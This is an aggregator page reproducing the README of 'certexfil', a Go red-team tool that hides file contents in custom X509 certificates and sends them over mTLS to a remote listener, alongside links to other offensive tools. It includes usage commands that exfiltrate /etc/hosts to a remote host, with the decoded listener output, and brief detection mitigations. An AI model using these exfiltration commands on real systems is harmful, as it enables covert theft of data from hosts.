All Projects → sourcefrenchy → certexfil

sourcefrenchy / certexfil

Licence: MIT License
Exfiltration based on custom X509 certificates

Programming Languages

go
31211 projects - #10 most used programming language

Projects that are alternatives of or similar to certexfil

gtfo
Search for Unix binaries that can be exploited to bypass system security restrictions.
Stars: ✭ 88 (+388.89%)
Mutual labels:  exfiltration, redteam
Aboutsecurity
A list of payload and bypass lists for penetration testing and red team infrastructure build.
Stars: ✭ 166 (+822.22%)
Mutual labels:  payload, redteam
Gtfobins.github.io
GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems
Stars: ✭ 6,030 (+33400%)
Mutual labels:  exfiltration, redteam
Awesome Red Teaming
List of Awesome Red Teaming Resources
Stars: ✭ 4,223 (+23361.11%)
Mutual labels:  redteaming, redteam
DNSWho
transmit cs beacon (shellcode) over self-made dns to avoid anti-kill and AV
Stars: ✭ 47 (+161.11%)
Mutual labels:  exfiltration, redteam
Bettercap
The Swiss Army knife for 802.11, BLE, IPv4 and IPv6 networks reconnaissance and MITM attacks.
Stars: ✭ 10,735 (+59538.89%)
Mutual labels:  redteaming, redteam
Payloadsallthethings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
Stars: ✭ 32,909 (+182727.78%)
Mutual labels:  payload, redteam
AggressorScripts
A collection of Cobalt Strike aggressor scripts
Stars: ✭ 18 (+0%)
Mutual labels:  redteaming, redteam
palinka c2
Just another useless C2 occupying space in some HDD somewhere.
Stars: ✭ 14 (-22.22%)
Mutual labels:  redteaming, redteam
OSINTBookmarks
OSINT Bookmarks for Firefox / Chrome / Edge / Safari
Stars: ✭ 34 (+88.89%)
Mutual labels:  redteaming, redteam
ReversePowerShell
Functions that can be used to gain Reverse Shells with PowerShell
Stars: ✭ 48 (+166.67%)
Mutual labels:  redteaming, redteam
window-rat
The purpose of this tool is to test the window10 defender protection and also other antivirus protection.
Stars: ✭ 59 (+227.78%)
Mutual labels:  payload, redteaming
RedTeam
One line PS scripts that may come handy during your network assesment
Stars: ✭ 56 (+211.11%)
Mutual labels:  redteaming, redteam
Redteam Tactics And Techniques
Red Teaming Tactics and Techniques
Stars: ✭ 2,190 (+12066.67%)
Mutual labels:  redteaming, redteam
Sherlock
This script is designed to help expedite a web application assessment by automating some of the assessment steps (e.g., running nmap, sublist3r, metasploit, etc.)
Stars: ✭ 36 (+100%)
Mutual labels:  redteaming, redteam
Gray hat csharp code
This repository contains full code examples from the book Gray Hat C#
Stars: ✭ 301 (+1572.22%)
Mutual labels:  payload, redteam
Offensive-Reverse-Shell-Cheat-Sheet
Offensive Reverse Shell (Cheat Sheet)
Stars: ✭ 138 (+666.67%)
Mutual labels:  redteaming, redteam
RedTeaming-Tactics-and-Techniques
Red Teaming Tactics and Techniques
Stars: ✭ 2,991 (+16516.67%)
Mutual labels:  redteaming, redteam
MurMurHash
This little tool is to calculate a MurmurHash value of a favicon to hunt phishing websites on the Shodan platform.
Stars: ✭ 79 (+338.89%)
Mutual labels:  redteaming, redteam
sslcontext-kickstart
🔐 A lightweight high level library for configuring a http client or server based on SSLContext or other properties such as TrustManager, KeyManager or Trusted Certificates to communicate over SSL TLS for one way authentication or two way authentication provided by the SSLFactory. Support for Java, Scala and Kotlin based clients with examples. Av…
Stars: ✭ 295 (+1538.89%)
Mutual labels:  certificate, pem

CodeQL

Exfiltration fun using X509 digital certificates

Overview

I spend a ton of time on exfiltration topics and mitigation techniques. This is my very first attempt to try to learn Go by having a quick way to convert a payload (reading a file) and building it as part as a custom x509 digital certificate.

More info at https://medium.com/@jeanmichel.amblat/abusing-certificates-for-data-exfiltration-d6bff2533cd0

If you new to playing with certs, you will find the following interesting links that inspired me (must read first):

Certexfil has three modes: CA generation, client and listener:

  • You can use --ca to bootstrap and set a CA to create certificates (and authenticate them later)
  • You can use --payload embed a payload (file) into a new client certificate then use mTLS against a listener service
  • You can use --listen to start aservice using a certificate to accept valid mTLS clients and retrieve the embedded payload

Usage

Create CA + prepare your listener on your remote server

This is to create server_cert.pem and server_key.pem certificates to be used for mTLS (client and listener will use those:

somewhere$ certexfil -ca -ecdsa-curve P521 --host remote.host.com

Now make sure your have binary certexfil and the new ./CERTS directory on your remote server. Then, run the mTLS listener:

remoteserver$ ./certexfil --listen

Client or (simulated) compromised host

Passing an output as payload:

06:46:00 jma@wintermute Go-Workspace → echo 'w00t w00t' | certexfil --host remote.server.com  --payload -
2019/05/31 18:48:27 [*] Reading from stdin..
2019/05/31 18:48:27 [D] Payload (raw)  --> w00t w00t...	(9 bytes)
2019/05/31 18:48:27 [D] Payload (Prepare()) --> �...		(31 bytes)
2019/05/31 18:48:27 [*] Generated custom cert with payload
Oo

Passing a file as payload:

06:52:14 jma@wintermute Go-Workspace → certexfil --host remote.server.com --payload /etc/hosts
2019/05/31 18:52:23 [*] Reading from file..
2019/05/31 18:52:24 [D] Payload (raw)  --> 127.0.0.1	...(225 bytes)
2019/05/31 18:52:24 [D] Payload (Prepare()) --> �...		(173 bytes)
2019/05/31 18:52:24 [*] Generated custom cert with payload
Oo

As seen on the listener

○ → ./certexfil --listen
2019/05/31 22:51:01 [*] Starting listener..
2019/05/31 22:51:7 [*] Payload received: H4sIAAAAAAAC/yo3MChRABGAAAAA//8t0rpUCQAAAA==
2019/05/31 22:51:07 [*] Payload decoded: w00t w00t

2019/05/31 22:52:24 [*] Payload received: H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h5LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA=
2019/05/31 22:52:24 [*] Payload decoded: 127.0.0.1	localhost
127.0.1.1	wintermute

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Mitigations

  • Fresh certificates ? you should look for those
  • Large payload vs average certificates from same client (a decent firewall or BroIDS should be able to help)

Todo

  • Peer-review from a real Go developper.. I should stick to Python, I know.
  • Set a DEBUG option, clean code
  • merge client/listener in one
  • automatic deployment of generated certs (DNS TXT? :P)
  • Actually have crypto in cryptopayload module

Contact

  • @Sourcefrenchy
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].